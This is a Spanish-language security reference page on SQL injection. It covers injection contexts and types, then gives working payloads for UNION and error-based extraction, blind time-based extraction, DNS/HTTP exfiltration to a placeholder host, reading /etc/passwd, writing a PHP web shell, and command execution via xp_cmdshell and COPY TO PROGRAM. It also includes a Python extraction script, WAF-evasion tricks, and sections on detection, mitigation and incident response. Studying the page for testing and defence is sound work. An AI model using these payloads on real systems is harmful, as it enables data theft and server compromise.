Saltearse al contenido

Inyección SQL (SQLi)

Inyección de sintaxis SQL en una consulta que la aplicación construye con entrada del usuario. Según el motor y los privilegios de la cuenta de BD, va desde leer toda la base de datos hasta ejecución de comandos en el sistema operativo del servidor. Pese a ser de las vulnerabilidades más antiguas, sigue siendo de las de mayor impacto cuando aparece, y es la base de muchas de las brechas más grandes de la historia.

flowchart LR
    A[Atacante] -->|"' OR 1=1-- "| APP["App (concatena la entrada)"]
    APP -->|"consulta SQL alterada"| DB[(Base de datos)]
    DB -->|"datos o bypass de login"| APP
    APP -->|"respuesta"| A

Lo que gana el atacante depende del motor, los privilegios y la arquitectura:

  • Lectura de datos: volcado de usuarios, hashes, PII, secretos de configuración.
  • Bypass de autenticación: ' OR 1=1-- - en el login.
  • Escritura: modificar precios, roles, saldos (según la consulta).
  • Lectura/escritura de ficheros: LOAD_FILE, INTO OUTFILE (con privilegio).
  • RCE: xp_cmdshell (MSSQL), COPY ... TO PROGRAM (Postgres), UDF (MySQL).
  • Pivote: desde el servidor de BD hacia la red interna.

La app concatena entrada en una sentencia enviada al SGBD. El contexto marca el exploit:

  • Cadena '...' → hay que cerrar y reequilibrar comillas.
  • Numérico (sin comillas) → inyección directa.
  • Identificador (columna/tabla, típico en ORDER BY) → no parametrizable.
  • LIMIT / IN() / ORDER BY → contextos especiales.

Cada motor (MySQL/MariaDB, PostgreSQL, MSSQL, Oracle, SQLite) tiene funciones, comentarios y metadatos propios. Identificar el DBMS es el primer paso: information_schema (MySQL/MSSQL/Postgres), sys.* (MSSQL), all_tables/dual (Oracle), sqlite_master (SQLite). Comentarios: -- -, #, /* */.

  • In-band — error-based (el motor filtra datos en mensajes de error) y UNION-based (anexar columnas con datos arbitrarios).
  • Inferencial / ciega — booleana (la página cambia según verdadero/falso) y por tiempo (retardos condicionales cuando no hay diferencia visible).
  • Out-of-band (OOB) — exfiltración por otro canal (DNS/HTTP) cuando no hay salida ni diferencia temporal fiable.
  • Stacked queries — encadenar sentencias (; INSERT...), depende del driver.
  • Second-order — el payload se almacena y se ejecuta en una consulta posterior (p. ej. en el registro y luego en un informe interno).
-- ruptura y lógica booleana
id=3' -- error / cambio ⇒ sospechoso
id=3 AND 1=1 vs 1=2 -- confirma inyección booleana
id=3'||''=' -- contexto cadena (Oracle/Postgres)
-- nº de columnas (para UNION)
' ORDER BY 5-- - -- sube hasta error
' UNION SELECT NULL,NULL,NULL-- - -- ajusta nº y tipos
-- fingerprint del motor
' UNION SELECT @@version,NULL-- - -- MySQL/MSSQL
' UNION SELECT version(),NULL-- - -- Postgres
' UNION SELECT banner,NULL FROM v$version-- - -- Oracle

Explotación — extracción (UNION / error-based)

Sección titulada «Explotación — extracción (UNION / error-based)»
-- esquema (MySQL)
' UNION SELECT table_name,column_name FROM information_schema.columns-- -
' UNION SELECT user,password FROM users-- -
-- error-based
MySQL: ' AND extractvalue(1,concat(0x7e,(SELECT @@version)))-- -
MSSQL: ' AND 1=CONVERT(int,(SELECT @@version))-- -

Explotación — ciega (booleana / por tiempo)

Sección titulada «Explotación — ciega (booleana / por tiempo)»
' AND substring((SELECT password FROM users LIMIT 1),1,1)='a'-- - -- booleana
' AND IF(1=1,SLEEP(5),0)-- - -- MySQL (tiempo)
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE 0 END-- - -- Postgres
'; IF (1=1) WAITFOR DELAY '0:0:5'-- - -- MSSQL
-- OOB (exfil por DNS)
MSSQL: '; EXEC master..xp_dirtree '\\'+(SELECT TOP 1 pass FROM users)+'.oob.tld\x'-- -
Oracle: ' AND (SELECT UTL_HTTP.REQUEST('http://oob.tld/'||(SELECT ...)) FROM dual)=1-- -
-- lectura/escritura de ficheros (requiere privilegio)
MySQL: ' UNION SELECT LOAD_FILE('/etc/passwd'),NULL-- -
MySQL: ' UNION SELECT '<?php system($_GET[c]);?>',NULL INTO OUTFILE '/var/www/sh.php'-- -
-- RCE según motor
MSSQL: '; EXEC xp_cmdshell 'whoami'-- -
Postgres: '; COPY (SELECT '') TO PROGRAM 'id'-- - (o UDF / lo_export)
MySQL: UDF (lib_mysqludf_sys) -> sys_exec('...')

Dominar el método manual te permite adaptar el ataque y evadir cuando la herramienta automática falla o es detectada.

  1. Lanza cada petición con Burp Repeater o curl y compara respuestas:
    Ventana de terminal
    curl -s "https://app.tld/item?id=3'" # ¿error SQL?
    curl -s "https://app.tld/item?id=3 AND 1=1" # vs 3 AND 1=2
  2. Cuenta columnas con ORDER BY N hasta el error, y localiza las reflejadas con UNION SELECT 1,2,3.
  3. Vuelca por esas columnas: ' UNION SELECT 1,table_name,3 FROM information_schema.tables-- -.
  4. Para ciega por tiempo, automatiza tú la extracción carácter a carácter (es, literalmente, lo que hace sqlmap por debajo):
    import requests, string
    base, found = "https://app.tld/item", ""
    for pos in range(1, 33):
    for ch in string.printable.strip():
    p = f"3' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),{pos},1)='{ch}',SLEEP(3),0)-- -"
    if requests.get(base, params={"id": p}, timeout=10).elapsed.total_seconds() > 3:
    found += ch; print(found); break

Comentarios inline (/*!50000UNION*/), mayúsculas mixtas, UNION→UNION ALL/ paréntesis, espacios por /**//%0a/+, codificación URL/doble/unicode/hex, división de palabras clave, operadores equivalentes (LIKE por =, || por OR). sqlmap --tamper incluye space2comment, charencode, between, randomcase, etc.

sqlmap (--dbs --dump, --technique=BEUST, --os-shell, --file-read/--file-write, --tamper=..., --risk/--level), ghauri (ciegas rápidas), NoSQLMap (NoSQL).

Volcado completo, bypass de login, robo de hashes → cracking (hashcat), lectura de secretos, RCE y pivote interno. Un SQLi en un endpoint secundario puede llevar al compromiso de toda la plataforma.

  • Auditoría del SGBD (pgAudit, SQL Server Audit, MySQL audit plugin): alertar sobre UNION SELECT, information_schema/sqlite_master desde la cuenta de la app, xp_cmdshell, COPY ... PROGRAM, INTO OUTFILE, LOAD_FILE.
  • Señales de ciega: SLEEP/BENCHMARK/pg_sleep/WAITFOR, latencias anómalas repetidas, ráfagas de peticiones casi idénticas (fuerza bruta booleana).
  • OOB: peticiones DNS/HTTP salientes desde el servidor de BD a dominios desconocidos.
  • WAF con firmas y anomalía; en SIEM, correlación de errores SQL (500/mensajes) tras entrada con comillas/metacaracteres.

Logs de auditoría de BD, logs de la app con la consulta/plantilla, WAF, egress del segmento de datos, APM para latencias.

  1. Consultas parametrizadas / prepared statements en todo acceso a datos (mitigación raíz). Para identificadores dinámicos (no parametrizables), lista blanca de valores permitidos.
  2. Mínimo privilegio de la cuenta de la app: sin FILE, xp_cmdshell deshabilitado, sin DBA, local_infile=0, permisos solo sobre lo necesario.
  3. Separación de red: el servidor de BD sin egress a Internet.
  4. ORM/consultas seguras por defecto; revisar raw()/string building en revisiones.
  5. WAF como capa adicional, nunca única.

Rotar credenciales/secretos expuestos, evaluar alcance del volcado, buscar webshells o ficheros escritos, parchear el punto de inyección y desplegar regla de detección.

  • Heartland Payment Systems (2008) — una SQLi fue el punto de entrada de una de las mayores brechas de tarjetas de la historia (~130 millones).
  • Sony Pictures (2011, LulzSec) — SQLi que expuso datos de millones de usuarios almacenados en claro.
  • TalkTalk (2015) — SQLi en su web; datos de ~157.000 clientes y multa récord de la ICO.
  • Campañas de ransomware/robo — el acceso inicial por SQLi sigue apareciendo en informes DFIR actuales.

SQLi es la categoría Injection del OWASP Top 10. CVEs concretos por producto en NVD (https://nvd.nist.gov/vuln/search) y GitHub Advisories (https://github.com/advisories).

  • Probados contextos: cadena, numérico, identificador (ORDER BY), LIMIT/IN.
  • Confirmada la inyección (error / booleana / tiempo) y fingerprint del DBMS.
  • Extracción demostrada (UNION/error) o, si ciega, PoC de extracción.
  • Revisado OOB cuando no hay salida; probados ficheros/RCE según privilegio.
  • Evaluado WAF y, si procede, bypass.
  • Impacto documentado con PoC mínima y sin dañar/exfiltrar datos reales.